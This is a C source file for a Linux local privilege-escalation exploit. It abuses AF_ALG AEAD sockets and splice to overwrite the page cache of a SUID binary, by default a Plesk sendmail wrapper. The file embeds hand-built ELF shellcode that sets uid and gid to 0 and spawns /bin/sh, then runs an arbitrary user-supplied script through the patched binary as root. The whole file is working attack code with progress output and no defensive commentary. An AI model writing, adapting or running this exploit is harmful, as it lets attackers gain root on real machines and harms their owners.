#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/if_alg.h>

/* Minimal x86-64 ELF: setuid(0)+setgid(0)+execve("/bin/sh") */
static unsigned char elf_payload[] = {
    /* ELF header (64-byte) */
    0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x02,0x00,
    0x3e,0x00,
    0x01,0x00,0x00,0x00,
    0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
    0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,
    0x40,0x00,
    0x38,0x00,
    0x01,0x00,
    0x40,0x00,
    0x00,0x00,
    0x00,0x00,
    /* Program header (56-byte PT_LOAD) */
    0x01,0x00,0x00,0x00,
    0x05,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
    0xa0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0xa0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,
    /* Code at offset 0x78 */
    /* setuid(0) */
    0x48,0x31,0xff,
    0xb8,0x69,0x00,0x00,0x00,
    0x0f,0x05,
    /* setgid(0) */
    0x48,0x31,0xff,
    0xb8,0x6a,0x00,0x00,0x00,
    0x0f,0x05,
    /* execve("/bin/sh", argv, NULL) */
    0x48,0x8d,0x3d,0x13,0x00,0x00,0x00,
    0x48,0x89,0x7c,0x24,0xf8,
    0x48,0x8d,0x74,0x24,0xf8,
    0x48,0x31,0xd2,
    0xb8,0x3b,0x00,0x00,0x00,
    0x0f,0x05,
    /* exit(1) */
    0xb8,0x3c,0x00,0x00,0x00,
    0xbf,0x01,0x00,0x00,0x00,
    0x0f,0x05,
    /* "/bin/sh\0" */
    0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00
};

#define PAYLOAD_SIZE sizeof(elf_payload)
#define DEFAULT_TARGET "/usr/lib64/plesk-9.0/postfix-sendmail-wrapper"

static ssize_t do_splice(int fd_in, loff_t *off_in, int fd_out,
                         loff_t *off_out, size_t len, unsigned int flags)
{
    return syscall(__NR_splice, fd_in, off_in, fd_out, off_out, len, flags);
}

int main(int argc, char *argv[]) {
    /* Usage: af_lpe [target_suid] [script] */
    const char *target = (argc >= 2) ? argv[1] : DEFAULT_TARGET;
    const char *script = (argc >= 3) ? argv[2] : NULL;

    printf("[*] AF_ALG page-cache splice attack\n");
    printf("[*] target=%s payload=%zu bytes\n", target, PAYLOAD_SIZE);

    int tfd = open(target, O_RDONLY);
    if (tfd < 0) { perror("open target"); return 1; }
    printf("[+] opened %s fd=%d\n", target, tfd);

    int afd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (afd < 0) { perror("socket AF_ALG"); return 1; }

    struct sockaddr_alg sa;
    memset(&sa, 0, sizeof(sa));
    sa.salg_family = AF_ALG;
    strncpy((char*)sa.salg_type, "aead", sizeof(sa.salg_type)-1);
    strncpy((char*)sa.salg_name, "authencesn(hmac(sha256),cbc(aes))", sizeof(sa.salg_name)-1);

    if (bind(afd, (struct sockaddr*)&sa, sizeof(sa)) < 0) {
        perror("bind AF_ALG"); return 1;
    }
    printf("[+] AF_ALG AEAD bound\n");

    unsigned char key[48] = {0};
    setsockopt(afd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
    unsigned int authsize = 16;
    setsockopt(afd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, authsize);

    int cfd = accept(afd, NULL, NULL);
    if (cfd < 0) { perror("accept"); return 1; }
    printf("[+] op fd=%d\n", cfd);

    /* Create pipe */
    int p[2];
    if (pipe(p) < 0) { perror("pipe"); return 1; }

    /* Warm up pipe buffers */
    {
        char buf[65536] = {0};
        write(p[1], buf, sizeof(buf));
        read(p[0], buf, sizeof(buf));
    }
    printf("[+] pipe primed rd=%d wr=%d\n", p[0], p[1]);

    /* Splice target file pages into pipe (this gets a reference to
       the page cache pages of the SUID binary) */
    loff_t off = 0;
    ssize_t n = do_splice(tfd, &off, p[1], NULL, PAYLOAD_SIZE, 0);
    if (n <= 0) {
        printf("[-] splice tfd->pipe: %zd errno=%d\n", n, errno);
        return 1;
    }
    printf("[+] spliced %zd bytes from target\n", n);

    /* Drain the splice data from the pipe read-end into the AF_ALG socket.
       This should mark the page as dirty/writable in kernel. */
    n = do_splice(p[0], NULL, cfd, NULL, PAYLOAD_SIZE, 0);
    printf("[*] splice pipe->alg: %zd errno=%d\n", n, errno);

    /* Now write our payload into the pipe write-end.
       On vulnerable kernels this overwrites the underlying page cache. */
    ssize_t w = write(p[1], elf_payload, PAYLOAD_SIZE);
    printf("[*] write payload->pipe: %zd errno=%d\n", w, errno);

    /* Try reading back through the alg socket */
    {
        char rbuf[PAYLOAD_SIZE + 32];
        memset(rbuf, 0, sizeof(rbuf));
        ssize_t r = recv(cfd, rbuf, sizeof(rbuf), MSG_DONTWAIT);
        printf("[*] recv from alg: %zd\n", r);
    }

    close(cfd); close(afd);
    close(p[0]); close(p[1]);
    close(tfd);

    /* Verify: re-open target and check if our bytes are there */
    printf("[*] verifying page cache...\n");
    int vfd = open(target, O_RDONLY);
    unsigned char hdr[4] = {0};
    if (vfd >= 0) { read(vfd, hdr, 4); close(vfd); }
    printf("[*] target[0..3]: %02x %02x %02x %02x  payload[0..3]: %02x %02x %02x %02x\n",
           hdr[0],hdr[1],hdr[2],hdr[3],
           elf_payload[0],elf_payload[1],elf_payload[2],elf_payload[3]);

    if (hdr[0] == elf_payload[0] && hdr[1] == elf_payload[1] &&
        hdr[2] == elf_payload[2] && hdr[3] == elf_payload[3]) {
        printf("[!!!] PAGE CACHE OVERWRITTEN — executing as root\n");
        if (script) {
            char cmd[4096];
            snprintf(cmd, sizeof(cmd), "echo x | %s -c '%s' 2>&1", target, script);
            system(cmd);
        }
    } else {
        printf("[-] page cache not overwritten, trying execve directly\n");
        if (script) {
            char cmd[4096];
            snprintf(cmd, sizeof(cmd), "echo x | %s -c '%s' 2>&1", target, script);
            int rc = system(cmd);
            printf("[*] system rc=%d\n", rc);
        }
    }

    printf("[*] done\n");
    return 0;
}
